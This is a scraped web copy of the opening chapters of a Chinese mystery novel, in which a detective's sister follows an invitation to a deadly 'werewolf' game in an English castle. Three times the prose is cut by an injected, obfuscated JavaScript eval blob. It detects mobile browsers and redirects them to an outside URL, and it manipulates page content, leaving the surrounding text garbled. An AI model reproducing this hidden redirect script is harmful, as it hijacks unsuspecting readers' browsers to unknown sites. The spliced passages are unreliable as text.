《狼人杀,但真人版》 1. 邀请 尤烟得知兄长尤炫失踪的消息时,已经过去了三天。 尤炫常住尤妙庄园,但尤烟嫌那地方太大,吃喝拉撒要走好长一段距离,干脆在隔壁城市另买了一套单间,过着独居生活,加之她不爱接电话看信息,是故一直不知道此事。 “你还真是沉得住气,自家哥哥都失踪三天了,你才优哉游哉地回来。”祁迎风拉着尤烟的行李箱,和她并排走在树荫下的鹅卵石小路上。 祁迎风的左眉上长有竖着的两颗痣,头发是前几天刚染的金黄色,很有辨识度。 他是尤妙庄园管家的儿子,也是尤烟为数不多的朋友。 尤烟问:“我爸妈怎么说?” “还在派人找呢。”祁迎风道,“我跟你说,这事儿怪得很,炫哥那天在房间里整理资料,我去档案室给他找文件,回来后,他不见了,毫无预兆。” 尤烟“哦”了一声。 “不是,你怎么一点儿也不着急?那可是你亲哥!”祁迎风激动。 “他出不了事。”说实话,要不是祁迎风的夺命连环call,尤烟压根不会回来。 尤炫是谁啊,当世最瞩目的侦探,智商高、会打架,这种人突然消失,多半是自己玩失踪、闷声干大事去了,犯得着尤烟担心? 再说,尤炫真要出事,敌人的威胁信早送来了。 “这次不一样!”祁迎风转到尤烟的面前,一脸认真,“你知道尤女士在炫哥房间里发现什么了吗?” 尤女士指尤烟尤炫的母亲,他们家随母姓。 “什么?” “一封来路不明的邀请函,落款时间是4月19日。”祁迎风神秘兮兮。 “三天前?” “对,就是炫哥失踪的那天。” 尤烟顿了顿,说:“邀请函呢?给我看看。” “在炫哥房间。” “你去帮我拿,我不想动了。”尤烟说。 马上就要到她的住处了,她才懒得专门再走一趟。 祁迎风习惯了帮大小姐跑腿,骑了辆自行车去尤炫的住处,拿到抽屉里的邀请函后重新出现在尤烟的面前。 尤烟穿着拖鞋啃着汉堡下楼,歪躺在天鹅绒沙发上玩手机。 “你别躺着吃东西,对胃不好,快起来。还有,少吃点汉堡。这才下午三点,你现在吃饱了晚上吃什么,难道又要九十点吃?还有你这个黑眼圈,我才发现,怎么这么浓?如此不规律的生活,你在外面三年都这样?”祁迎风一脸痛心,他的大小姐过的什么苦日子。 看看她杂乱的头发,跟炸毛的猫一样。看看她的黑眼圈,比大熊猫还明显。 尤烟:“……” 她果然不该回来。 “给你。”祁迎风将邀请函递给尤烟。 尤烟接过。 邀请函很有质感,纯黑的底色,信口处印了一排烫金英文——“ToMr.You”。信纸的边框是至繁的复古花纹,字是钢笔写的中文,笔锋劲道,很有力量。 内容仅一句话,甚至没按照正规的邀请函格式写,尤烟一扫而过。 【诚邀尤炫先生前往克修克尔城堡参加我方最新策划的“狼人杀”游戏。】 【时间:2022年4月19日】 【地点:英国埃克塞特克修克尔城堡】 【备注:游戏过程默认保密,请玩家不要跟无关人员提起哦!】 狼人杀? 尤烟只玩过一次,游戏体验感非常不佳。 一来游戏太简单,二来她不喜欢跟人交流,三来……明明她抽到的是平民牌,其他玩家问都不问,第一时间就把她票出去了。 难道尤炫真的去参加这个游戏了?不应该吧,尤炫又不闲。 还有,克修克尔城堡是什么地方?这游戏在哪不是玩,为什么非得去那儿? “查过这个城堡吗?”尤烟问。 “地点在英国,是一个多世纪前的老建筑,里面有不少老古董,半年前翻新过一次,然后被一个神秘人买走了,据说成交价是十一亿美金。至今为止,没外人进去过。”祁迎风说,“啧,召集玩家在老城堡里玩游戏,背后之人还真是又闲又壕啊。” 尤烟把邀请函还给祁迎风,祁迎风以为她对此感兴趣了,谁知她坐正拿起可乐,又继续躺了。 “我住一晚,明天下午走。”尤烟说。 “大小姐你还真是……”祁迎风无奈,“行吧,看来这次英国游只有我一个人去了。” “你觉得尤炫去了?”在熟人面前,她向来全称兄长的名字。 “这毕竟是唯一的线索。” 尤烟沉默。 “怎么样,想去了?”祁迎风以为她摇摆了,立即问。 “不去。”尤烟果断拒绝。 祁迎风:“……” 好好好,他怎么能指望尤大小姐做不感兴趣的事情。 祁迎风收拾行李买机票去了,偌大的房子仅剩尤烟一人。 尤烟回归本体,一直躺在床上,除了吃喝拉撒,一步没离开过床。凌晨三点,尤烟总算困了,又熬了会儿,到四点才拉上被子睡觉。 下午两点,尤烟被震动的手机吵醒。 “尤烟,你快起来,快点快点快点!”祁迎风的大嗓门吼醒了尤烟。 “干什么……” “你下来,给我开个门。急急急!” 尤烟不明所以,但祁迎风又催得紧,她连拖鞋都不穿了,光着脚下楼开门,睡眼惺忪地低着头打盹儿。 祁迎风见她要困晕了,连忙伸手托住她的脑袋:“哎哟,你昨晚几点睡的?” 尤烟没吱声。 “别睡了,看这个。”祁迎风说,“我刚刚收到的快递,和炫哥一模一样的邀请函。” “……哦。” “别‘哦’了,你也有!” “哦……”尤烟听到关键词,扶着墙站直,抬头看祁迎风,“我?” “对啊。”祁迎风将另一封邀请函递给尤烟,“我不是故意要拆你快递的,这外壳完全一样,我拆错了。” 尤烟倒不在意这个,接过邀请函拆开看。 如祁迎风所说,邀请函与尤炫那封一模一样,除了名字和时间。 【诚邀尤烟女士前往克修克尔城堡参加我方最新策划的“狼人杀”游戏。】 【时间:2022年4月26日】 【地点:英国埃克塞特克修克尔城堡】 【备注:游戏过程默认保密,请玩家不要跟无关人员提起哦!】 算算时间在,在三天后。 除了邀请函,信封里还附有机票、地图、预住酒店的信息,以及一张标有密码的银行卡。 密码是尤烟的生日。 尤烟看着手里的东西,微微出神。 名字、出生日期、住所…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449003|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的信息完全暴露了。 出门在外,尤烟一直用的假身份,协助警方破案也以代号自称,一般人不可能摸得透她的身份。 到底是谁? “我跟你一起去。”尤烟说。 “哦。啊?”大小姐松口,祁迎风还以为自己听错了,“你不是不去吗?” “突然感兴趣了。” “那我们是自己去,还是用对方送来的机票?”祁迎风问。 机票的出发时间是明天下午,而游戏开始的时间在三天后的晚上十点,要是尤烟拖延症犯了,大可以选择最后那趟航班。 “你安排吧,能晚点就晚点,去早了也是等。”尤烟才不想在异国他乡久待。 意料之中的回答,祁迎风应了。 尤烟打了两天的游戏,通关的时候,已经是4月25号的下午两点。 祁迎风特意提前三个小时喊尤烟出门,尤烟这才想起了还有这么个事儿,胡乱塞了衣服裤子拖鞋进行李箱,然后匆匆出门。 二人坐上祁管家安排的车去机场,比祁迎风预计的时间早了二十分钟。 “下次不准跟我乱说时间了。”尤烟真想躺在地上,再盖个被子。 “哈哈哈,好好好。”祁迎风随口应下,下次还敢。 到点后,二人登机,前往英国伦敦,后转机至埃克塞特。落地时,已经是二十个小时后了。 看着伦敦时间4月25日7:10,祁迎风突然想到一个问题。 邀请函上的时间是北京时间还是伦敦时间? “伦敦时间。”尤烟见祁迎风盯着时间发愁,就知道他在想什么了。 “你怎么这么确定?”她甚至连一个“吧”字都没加。 “酒店预定时间持续到了4月26日。”尤烟抬头看了一眼祁迎风,“你没看?” 如果不是伦敦时间,游戏方没必要把时间定在那一天。 尤烟没说,是因为祁迎风已经做好了准备,她懒得提,否则对方又要改行程。 祁迎风轻咳一声:“大意了。对了,你不是不喜欢行踪被泄露吗,我另外订了酒店,我们住那儿吧。” “嗯。” “走吧。”祁迎风拿到二人的行李,看地图、带路出机场。 祁迎风早就联系好的司机恰巧出现,载着二人前往目的地。 四月底的埃克塞特气温不高,尤其昨晚下了雨,天空阴沉沉的,乌云密布,时时刻刻都有可能下第二趟雨。 现在是伦敦时间七点四十五,当尤烟连续打了几个喷嚏后,她才意识到自己已经在英国了。 走路的时候没感觉,坐上车,遇到这么个大敞车窗的司机,尤烟感觉自己即将变成“风雕”。 “穿上吧,别感冒了。”祁迎风将叠好的黑色厚外套打开,递给尤烟。 大小姐身体状况一般,但又不会照顾自己,冷了不知添衣,热了懒得脱衣,祁迎风很难想象她独居那几年是怎么存活下来的。 估计是外卖不停、空调不断吧。 尤烟接过衣服,穿上。 嗯,不冷了。 一个小时后,二人抵达皇庭酒店,办好入住手续、吃过早饭后,各进各房间,补觉倒时差。 第二天下午,尤烟联系了国内的一个朋友,跟对方说了点事情。电话挂断后,敲门声响起。 “尤烟,可以出发了。”祁迎风在外面说。 2. 城堡 地图是纸质的,祁迎风本来想对照电子地图打导航,但失败了。多番尝试之下,只好老老实实看纸质地图。 靠谱的祁先生熟读地图,租了辆越野车开往目的地,一点多余的路都没走。 一个多小时后,越野车停在了一片密林之外。 “接下来的路要靠走的了。”祁迎风提出两个行李箱,在前面带路,“啧,这城堡藏得真深,连导航都找不到。” 越是神秘,越能引起尤烟的注意。 什么样的城堡主人能搞到她的真实信息?什么样的城堡连导航都定位不了? 她要弄清楚这背后的秘密。 尤烟双手揣进衣兜,跟上祁迎风的脚步。 雨后的森林尽是泥土的腥臭味。树木高大、枝叶葳蕤,将本就微弱的阳光悉数拦在林外,只留昏沉阴暗。 昨夜的雨珠积蓄在树叶里,随机坠落在行人的头顶上。 尤烟被雨珠砸了好几次,头上、脖颈里,无一幸免。这还没完,道路泥泞,尤烟穿着拖鞋一踩一陷,膝盖以下全是污泥,尤其是双脚,跟下田插秧了似的。 “都跟你说了要穿运动鞋,你看看你……”祁迎风抓住差点摔倒的尤烟,无语又无奈。 “麻烦。”再说了尤烟不会系鞋带。 “不冷?” “这会儿还好。”尤烟问,“还要走多久?” “按我们的速度,最早也得傍晚六点。” 邀请函的时间是4月26日的晚上十点,他们最多可以提前四小时到达克修克尔城堡。 狼人杀是一款多人游戏,也就是说,除了尤烟和祁迎风,还会有别的玩家。可惜,走了这么久的路,二人没见到别的人。 下午六点半,尤烟和祁迎风抵达目的地。 这是一块空地,没有杂草挡道,也没有树木遮挡,尖顶的哥特式城堡像巨人一样矗立。又高又大的窗户几乎占据了整个墙面,仿佛要吸入大量空气为巨人提供生命力。 或许是因为翻修过,眼前这座城堡并不沧桑,但时间赋予的力量让它看起来依然古老宏伟,庄严肃穆,让人油然而生一种崇敬和虔诚之意。 “这游戏方还真是下了血本啊……”祁迎风站在城堡前,脖子都仰痛了。 祁迎风本以为自己够见多识广了,可如此大规模的建筑,还是出乎了他的意料。 尤烟张望一番,问:“直接进去?” 大门没锁,周围无小路,看样子只能从正面进去。 “走吧。”祁迎风打头,拉着行李箱往前走。 踏上石子小路、穿过花团锦簇的小花园、推开厚重的大门,尤烟和祁迎风正式进入克修克尔城堡内部。 一眼望去,视野开阔。 空旷的室内,入眼尽是精致的水晶灯、流光溢彩的琉璃玫瑰窗、纹路复杂的天鹅绒地毯……真可称得上一声“金碧辉煌”。 尤烟却将目光放在了身侧的壁画上——宽4.2米、长9.1米的世界名画,《最后的晚餐》。 可惜只是仿品。 这幅画现存于意大利米兰的圣玛丽亚感恩教堂,不可能出现在英国。 不过…… 狼人杀和《最后的晚餐》并非没有共同点。 一句话总结:谁是凶手。 “欢迎来到克修克尔城堡,尊贵的客人们!”一道语气浮夸的声音响起,打断尤烟的思绪。 尤烟顺声看去,一位穿着花花绿绿西装的花孔雀男士从中间的檀木楼梯上走下来。 “很高兴见到二位,尤烟女士、祁迎风先生。”花孔雀男士转了个圈,脱下带羽毛的帽子,放在胸前,然后鞠躬,“鄙人花与酒,是这座城堡的管家。” 花与酒,听着不像真名,像代号。 “中国人?”祁迎风打量花与酒,朝他伸手,“你好。” “哦!能与祁先生握手,是鄙人的荣幸!”花与酒戴好帽子,像演戏剧一样夸张地向前迈进一步,然后伸出双手,虔诚地与祁迎风相握。 祁迎风问:“只有我们到了?” 花与酒道:“二位来得很早,不过很可惜,最早的还不是你们。” 祁迎风回头看尤烟,谁知对方正抬头看着二楼,于是他也往上看。 外面不知何时出太阳了,虽不强烈,但仍然透过彩色玻璃照进来,彩色的碎片像液体一样流动。 二楼有一个人,正站在流体中心。 乌云再度遮住太阳,尤烟和祁迎风终于能够看清楚他的脸。 上扬的眼尾和嘴角,他在笑。 高挺的鼻子和清晰的下颌线,他像尊完美的雕像。 及肩的长发在他脑袋中等偏下的位置扎成丸子,脖子上还挂着头戴式耳机,他看着还蛮潮。 他双手撑在檀木栏杆上,见一楼的三人都看向自己,笑着朝他们招手:“下午好,朋友们。管家先生不介绍一下?” “瞧我,怎么把这么重要的事情忘记了。”花与酒捂着心口自责一番,随后道,“褚先生,这位是尤烟女士、这位是祁迎风先生。二位,那是褚河先生。” 尤烟收回目光。 褚河从二楼走下来。 其实他早就注意到她了,从她观察《最后的晚餐》那一刻起。 这姑娘看起来不太爱打扮,黑长直乱乱的,还炸了毛。她应该很宅,且作息混乱,因为黑眼圈在苍白的脸色特别明显,他在楼上都隐约看见了,这会儿走近一看,更清楚。 她现在挺狼狈,下半身都是泥巴,拖鞋里还沾着新鲜的泥土。 “褚先生来得挺早。”祁迎风说着客套话。 “二位也是。”褚河含笑。 祁迎风看向花与酒:“一共有多少名玩家?都是中国人?” 至少目前见到的皆是国人,连管家都是。 花与酒点头:“是的呢。” 祁迎风扶额:“那为什么不在国内进行游戏?” 大老远跑来,除了游戏环境在英国哥特式城堡,其他的都是熟悉的国内元素,祁迎风觉得游戏方多少有点毛病。 不嫌麻烦吗? “给您带来了不愉快的经历,是我们考虑不周,以后一定会改进。”花与酒诚恳道。 “……倒也不用。”祁迎风才不想有“以后”。 七点半,花与酒领着三人进入饭厅,自己则暂时离开,说是要去迎接新到的客人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449004|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>祁迎风和尤烟坐在一边,褚河在祁迎风的对面。 饭桌是长方形的,白色丝绸为桌布,维多利亚银质烛台整整齐齐排成一列,间隔距离几乎一样。 祁迎风看了一眼桌椅,他怀疑这些金黄色的东西全是黄金。 壕,真壕啊。 “褚先生知道有多少人参与这场游戏吗?”祁迎风打开话题。 “不知道。”褚河摊手。 “褚先生是哪里人?” 褚河说了个省市。 “你为什么要参加这个游戏?”祁迎风总算问到重点了。 “这个嘛……”褚河摸摸下巴,笑了笑,反问,“二位呢,二位参加这个游戏的原因是什么?” 祁迎风道:“好奇。” 满足好奇心只占此行的十分之一,剩下的都是为了寻找尤炫。 奇怪的邀请函、奇妙的时间、奇特的城堡、奇异的游戏……一切的一切,都让祁迎风忍不住将之与尤炫的失踪联系起来。 “我也是因为好奇。”褚河往后一靠,轻笑一声,补充,“而且是百分百的好奇。” 显然,他猜出了祁迎风的隐藏意思。 尤烟看了褚河一眼。 祁迎风不完全是因为好奇而来,褚河却是,看来他是个好奇心很重的人。 尤烟问:“你来了多久,去了哪些地方?” 褚河忽然觉得大熊猫还挺可爱,眼睛底下黑乎乎的青影很对称。 “我只比你们早到半小时,至于第二个问题……问得好,”褚河停顿片刻,说,“目前只开放了一二楼,连接二三楼的通道全被人为封锁。” 尤烟不说话了。 十分钟后,女佣和男仆推来小车车,上菜。 爆炒腰花、清蒸鲈鱼、清炒时蔬……一人一份。 英国菜难吃,所以给中国人安排中国菜;桌子太大,不方便夹菜,所以人手一份。嗯,很贴心。 “五份饭菜,看来到了两个人。”祁迎风猜测。 话音刚落,花与酒浮夸的声音响起。 “这边请,两位美丽的女士。”花与酒九十度鞠躬,迎接两位女士。 饭厅里的三人转头看去。 左边的女士烫了大波浪卷,笑起来阳光明媚。右边的女士用鲨鱼夹将头发全部夹在脑后,整个人舒爽又干净。 尤烟不认识她俩,祁迎风倒是一眼就认出来了。 这不是国内某知名双人女团的成员吗? 左边的是司雪,右边的是秦意月。 这二人业务能力不错,背后的公司也擅长炒作,刚出道没多久,双双跻身国内一流idol行列。 没想到啊没想到,游戏方连明星都给请来了,还是流量明星。 祁迎风不理解,请他们这些默默无闻的普通人倒也罢了,把台前的明星请来,游戏方真不怕粉丝见不到正主而搞出各种各样乱七八糟的事儿来? 算了算了。 祁迎风敲了敲面前的银质烛台,摇摇头。 造价几十万一个的烛台都敢随随便便摆出来,可见游戏方的财力和实力,他们肯定有办法控制消息。 且看游戏方到底想干什么吧。 3. 到齐 “嗨,大家好!自我介绍一下,我是司雪,公司的‘司’,雪花的‘雪’。”司雪元气满满地笑道。 秦意月有些怕生,但好歹见过大场面,很快稳住心神:“我是秦意月。” 尤烟不说话,祁迎风帮她介绍了,用的真名。 游戏方知道所有玩家的基本信息,没必要藏着掖着。 司雪坐在尤烟旁边,看着桌子上的菜,惊讶:“天呐,听说英国菜很难吃,我都做好心理准备了,没想到是中国菜,超棒的!诶,大家快吃呀,长途跋涉这么久,都饿了吧。” 司雪很擅长与人打交道,整个氛围都是她带动的,祁迎风本身也是个话多的人,一来一回,原本的陌生环境变得亲切。 用餐的过程中,四名玩家陆续进入,分别是邓有利、郁渚飞、闫志涛和石子嘉。 邓有利是搞自媒体的,其余三位都是大一学生,听他们的介绍,他们是高中同学。 “吃过晚饭后,鄙人会带各位去休息的房间。”花与酒一边指挥男仆为刚来的客人上菜,一边说。 晚饭结束,花与酒领着九人前往住房,九名男仆走在最后面,为客人们搬运行李箱。 尤烟看了一眼地面。 她来时弄脏了地毯,而城堡的人趁晚饭时间更换了所有的地毯。 这地毯可不便宜,在短时间内完成大规模的更换,不仅彰显了城堡主人的财力,也展现了城堡仆人们的业务水平。 两名学生围着花与酒感慨,话题无非有关城堡的价值和城堡主人的身份,活像进了大观园的刘姥姥。另一名学生从始至终低着头,紧紧跟在他们身后。 司雪和秦意月也震惊,就算是娱乐圈顶流,就算见过很多好东西,她俩依然被城堡的华丽所折服。 “啧啧,在这么大的城堡里生活,上个厕所都不容易吧。”褚河走到尤烟的旁边,随口道。 “嗯。”尤烟深有同感。 她就是因为尤妙庄园太大,所以搬出去独居的。 祁迎风不好拉尤烟,就把褚河拽到自己旁边,将尤烟和褚河隔开。 祁迎风道:“这般淡定,看来褚先生对此见怪不怪啊。” 褚河摆摆手,笑着说:“哪里哪里,尤烟女士不也是吗?” 尤烟是见多了,这点小场面震慑不住她。再说了,以她的性格,再来两个克修克尔城堡都动摇不了她的心神。 不过祁迎风不会跟褚河说这些。 “十点时,各位客人需要进行一次集中。鄙人会于九点四十派人来提醒大家。”花与酒领头进入一条装潢奢华的走廊,“这是石子嘉先生的房间。这是郁渚飞先生的房间。这是闫志涛先生的房间……” 花与酒将人一一请进房间。 尤烟、祁迎风、褚河三人的房间是连着的。 祁迎风对这个安排还算满意,至少没让尤烟和褚河挨着。不是他对出褚河有意见,只是这位褚先生看起来并不比他俩简单,甚至对尤烟表现出了一定的好奇心。 被来历不明的人盯上可不是什么好事。 “洗个澡好好休息一下吧。”祁迎风将尤烟的行李箱推进去,走之前对她说。 “嗯。”尤烟喊住祁迎风,“集合的时候叫我。” “知道。”祁迎风离开,关好门。 尤烟冲了个脚,躺在沙发上玩手机。 没有网络。 怎么会这样?这个房间里有信号屏蔽器?还是说……整个城堡都有? 玩不了手机,尤烟就趴在阳台上看古老的后花园,硬是磨蹭到九点才开始找换洗衣服和洗澡。 要是祁迎风知道尤烟的行李箱里有一半以上的空间装了拖鞋,一定会扶额苦笑。 从浴室出来后,尤烟换了身黑毛衣黑裤子,穿了双黑色的毛绒拖鞋,头发吹了个半干。 九点三十五,祁迎风看着点提醒尤烟准备出门。 “上不了网。”尤烟见到祁迎风的第一句话就是这个。 “我去其他地方试过了,都没有信号,估计整个城堡都装了信号屏蔽器。”祁迎风微微皱眉,“这个堡主,到底在计划什么?” 尤烟没吱声。 谁知道呢。 总不可能真的只是为了请一批人来玩游戏吧? 狼人杀……这游戏很难吗? 九点四十,男仆准时出现,领着一行人前往另一个地方。 远看没感觉,进来亲自走一段路就会发现,好家伙,这城堡是真的大啊,每间客房都是两百平的套间就算了,今天待过的地方全都不重样。 有钱真好。 闫志涛等人看了一路,感觉自己都要变成有钱人了。 有一说一,就算不玩狼人杀,在这里玩捉迷藏也很难被找到吧? “现在,十三位客人都到齐啦!”花与酒见尤烟等人到来,张开双臂,咧大嘴巴,笑着欢呼。 双方各自打量陌生面孔。 “请允许我为大家一一介绍。”花与酒跳着舞来到正中央,绅士地指着人介绍。 尤烟全部记住。 大学生闫志涛、石子嘉和郁渚飞。职场人士娄祎、柏峰、杨一旭和蒋容。女团成员司雪和秦意月。自媒体博主邓有利。 除此之外,尤烟还注意到几个细节。 郁渚飞似乎在害怕闫志涛,会刻意与同学保持距离。而闫志涛会专门盯着郁渚飞。 蒋容和司雪应该认识,她总是偷偷看司雪。司雪对蒋容挺友好,可惜主动跟蒋容说了好几次话,蒋容总是有意无意地躲开。 看来城堡主人对在场的人都有一定的了解,有好几位都有熟人相伴。 尤烟不得不庆幸这一点,要是没有祁迎风,她很难想象自己要如何独自面对这么多陌生人。 “既然到齐了,不如大家做个自我介绍?”司雪笑着提议,“当然,要是不好意思也没关系的,说说名字和来自哪里就好啦。大家都是要一起玩游戏的人,熟悉起来,肯定比陌生状态有意思!” 祁迎风打了个响指:“赞同。” 知己知彼百战百胜,祁迎风不打没有准备的仗。再说了,网络被屏蔽,他没法在网上找到这些人的信息,只能由他们自己说。 “那么我先来吧!”司雪说,“我叫‘司雪’,今年27岁,职业是歌手和舞者,来自陕西。爱好是唱歌跳舞和吃糖。小时候打完针,或是受伤的时候,父母总会给我吃糖,所以就特别喜欢吃,嘿嘿。多亏了我爸爸妈妈给了我不胖体质,不然以我的职业,可能就很难天天吃糖了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449005|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显然,司雪的原生家庭不错,也难怪她落落大方,性格还这么好。 尤烟看着司雪,喝了口可乐。 嗯,她也得感谢父母遗传下来的优质基因,汉堡炸鸡吃了这么多年仍然不胖。 “我叫秦意月,和小雪是一个女团的。我,嗯……我父母是商人,对我,对我也还好。”秦意月说。 秦意月很内向,说话吞吞吐吐,尤其是提及父母时,她的语气有明显的犹豫。她的家庭关系或许一般,但她非要提这么一嘴,甚至强调父母对她好,多半是因为渴望得到父母的关心但无果。 是受到司雪的影响吧。 毕竟人家是真的家庭关系好。 从这个角度考虑,秦意月是个要强的人。 尤烟咬了咬吸管,稍稍歪着头,仔细听每个人的自我介绍,并且注意他们的说话习惯和神情。 祁迎风原本还在担心尤烟不把这个环节当回事,但看到她如此认真时,他觉得自己还是小看尤烟了。 听尤炫说,尤烟的代号是他们那个圈子里的圭臬,不管人是真是假,代号所到之处,总能镇住一群人。 “你们好,我是蒋容。”戴眼镜的女士推了推眼镜,友好道,“我和司雪是高中同学,不过不知道她还记不记得我。”说到这里,她尴尬地笑了一声,“有一次学校运动会,女子1500米,我和司雪一起跑,当时咱俩还互相鼓励来着,我至今没忘。司雪是个亲切的人。不过,司雪当了大明星,应该记不得我这个普通同学了,哈哈,没事,我记得就行。” 司雪举手:“我记得呀!你还给我递了同学端来的葡萄糖水。” 蒋容说:“好高兴,这么多年了你还记得。” 尤烟把吸管咬得翘起来。 蒋容最初躲避了司雪的眼神,现在又这么热情地拉近二人之间的关系,是想炫耀自己跟大明星认识,还是自我感动这么多年了还记得老同学? “到我了到我了,我是邓有利……”国字脸男人积极道。 “我,闫志涛……”红色莫西干头露出一口黄牙。 “杨一旭……” 所有人都简单介绍了一遍自己,话最少的当属尤烟和娄祎。尤烟是懒得说那么多话,娄祎估计是觉得没必要。 “现在还早,我们要不要一起开个Party?”司雪提议,“要是有习惯早睡的也可以去睡觉,不强制不强制。” 十点四十,对于夜猫子来说,一天的生活才刚刚开始。 尤烟倒是无所谓,反正在哪都是一个人蜷着玩手机,更何况现在还玩不了手机。 “管家先生,可以吗?”司雪问旁边的花与酒。 “当然,尊贵的司雪女士。”花与酒点头。 “喂,我说……”柏峰皱眉,“你不是让我们来参加游戏吗,规则呢?什么时候开始?我是来玩游戏的,不是来自我介绍、开派对的。还有,你大爷的,网络怎么没了?这么大的城堡,为什么不安装WiFi?” 柏峰看上去三十出头,年纪轻轻就已经一头地中海了。 “哦,对,对,您说的是,我们以后一定注意。”花与酒诚惶诚恐地弯腰致歉,尔后嘴角往上一勾,眼角充满邪气,“游戏嘛……其实,已经开始了呀。” 4. 派对 什么意思? 什么叫已经开始了? 他们不就做了个自我介绍? 好吧,狼人杀的第一步,确实跟自我介绍差不多。 不对,等等…… 花与酒什么时候宣布游戏开始了?游戏卡牌呢?主持人呢?还有,非得大晚上的开始游戏吗? “规则嘛……杀人、找出凶手,就是这个,很简单哦!”花与酒眯眯眼,笑,“比狼人杀的卡牌模式还要简单呢!” 柏峰是个暴脾气的,一听这莫名其妙的话,当即破口大骂:“你有病吧!” 他早就想骂这个神经兮兮的管家了,要不是怕得罪有钱人,他根本不会忍到现在。 “柏峰先生,请稍安勿躁,且听鄙人说完这场游戏的规则与奖励。”花与酒的笑容依旧,但不是最初那种热情的笑,而是诡异的笑,“在这场游戏中,人人都可以当狼人,人人都可能是狼人。嗯,友好地提醒一下各位玩家,就算是最亲密的朋友,也要提防哦!” 尤烟下意识地看了一眼祁迎风。 祁迎风幽幽地回视:“你看我干什么?” 尤烟笑了笑,觉得自己这个行为确实挺好笑的。 “当狼人‘刀’完某位玩家后,我们会给玩家一定的时间寻找线索,并于次日十点开会指出狼人。正确,则平民活、狼人死;错误,则平民死、狼人活。”花与酒说道,“活到最后的玩家,堡主不仅会将克修克尔城堡赠送给那人,还会满足那人一个愿望——任何愿望。” 嘶…… 有钱人真是不把钱当钱啊,这么大个城堡,这么豪华的城堡,说送人就送人? 还有这个奇奇怪怪的游戏,怎么越听越恐怖了? 花与酒说的“生”与“死”,是游戏方面的生死,还是真正意义上的生死? “是的,你们没有想错,”花与酒仿佛猜到了玩家们的想法,张开双臂,含笑肯定,“是真正意义上的生死。” 玩家们闻言,面面相觑,皆是不解。 闹呢? 柏峰忍不住了,冲过去,一手拽住花与酒的领带,一手扬起拳头:“你快把我们放出去,老子不想玩这个游戏了,你们游戏方全他大爷的是神经病!” 花与酒被暴力威胁了也依旧从容:“进入了城堡,就等于默认了参与这场游戏,不可反悔。” 柏峰怒道:“我就要反悔,你能把我怎么样?” 花与酒不疾不徐的从腰后摸出一把手枪,对准柏峰的太阳穴。 柏峰口嗨而已,连打人也只敢做做样子,看见手枪,他吓得手微微发软,但为了面子,强忍着没松手。 许多人都紧张得心跳加速,心脏似乎要跳出胸膛。 这种时候,没人替柏峰出头,也没人为他求情。 枪口冰凉凉的,轻轻贴在柏峰的太阳穴上,柏峰那块筋“突突直跳”,嗓子生理性刺痛。 肯定是假枪,肯定是忽悠他。 柏峰心想。 这么多人看着他呢,他绝对不要被人看不起,也不准有人对他无礼。 柏峰不自觉地提高音量,说:“你有种就杀了我,你觉得我会怕你?我说要离开就是要离开,我才不稀罕这座城堡。” 花与酒笑了笑:“是吗?” 下一秒,花与酒熟练地扣动扳机。 “砰——” 枪声响起,枪口冒烟。 “啊——”柏峰惨叫一声,一屁股坐在地上,他四肢发软,身体不停地颤抖,甚至被吓得尿失禁了。 花与酒真的开了枪,不过他及时将枪口对准了天花板,没打在柏峰的身上。 花与酒露出善意的笑容:“哈哈,鄙人怎么可以对客人无礼呢。很抱歉,吓到柏峰先生了。嗯,总之,不可以反悔的。” 他的意思很明显了,谁要是反悔,他的枪会真正地对准谁。 司雪皱着眉头,站出来说:“我们不会互相残杀的。” 花与酒并未反驳:“那我们拭目以待。” 对于人类来说,钱和欲望是最难满足的,在场的大都是普通人,若非这场机遇,他们也许一辈子都出不了国、见不到如此豪华的城堡,因此,要说无人心动,那当然是不可能的。 这个世界,多的是人前赴后继地追求钱和欲望。 在花与酒看来,这群玩家无疑是幸运的,只需要在这么一场简简单单的游戏中获胜,就可以得到普通人努力一生也得不到的财富。 不会自相残杀…… 哈,真是个笑话。 “任何愿望都可以得到满足?”蒋容犹豫着问出口。 “当然,蒋容女士。”花与酒给予其肯定的答案。 部分人看蒋容的眼神都不一样了。 她不会真打算玩这个游戏吧? 褚河仍然安坐在椅子上,也适时提出自己的疑问:“我记得城堡只开了两层,第三层以上会开启吗?” 他姿态松弛,语气随意,一点儿都没被这种场景影响。 “唔,这是个好问题。”花与酒道,“每当有人被‘刀’,且找出真正的狼人后,我们会开放新的楼层。各位,还有问题吗?” 祁迎风看向尤烟。 尤烟没反应,还在喝可乐、咬吸管。 “看来是没有了。”花与酒等了一会儿,没人回应,最后道,“若有别的问题,玩家们可以随时提出。好了,鄙人不打扰各位了,请随意。” 